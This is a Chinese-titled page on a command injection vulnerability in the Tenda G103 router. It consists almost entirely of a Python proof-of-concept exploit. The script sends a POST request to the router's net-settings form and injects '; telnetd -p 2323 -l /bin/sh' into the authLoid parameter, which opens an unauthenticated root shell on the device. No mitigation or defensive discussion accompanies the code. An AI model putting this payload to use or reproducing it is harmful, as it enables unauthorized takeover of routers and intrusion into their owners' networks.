CVE-2026-5339 Tenda G103命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/action_set_net_settings" # Vulnerable parameters list: authLoid, authLoidPassword, authPassword, etc. # Example payload to execute a command (e.g., reboot or telnet) command_payload = "; telnetd -p 2323 -l /bin/sh" # Data payload exploiting the 'authLoid' parameter payload_data = { "authLoid": command_payload, "authLoidPassword": "admin", "authPassword": "admin", "authSerialNo": "123456", "authType": "1", "oltType": "1", "usVlanId": "100", "usVlanPriority": "0" } try: # Sending the malicious POST request response = requests.post(url, data=payload_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error occurred: {e}")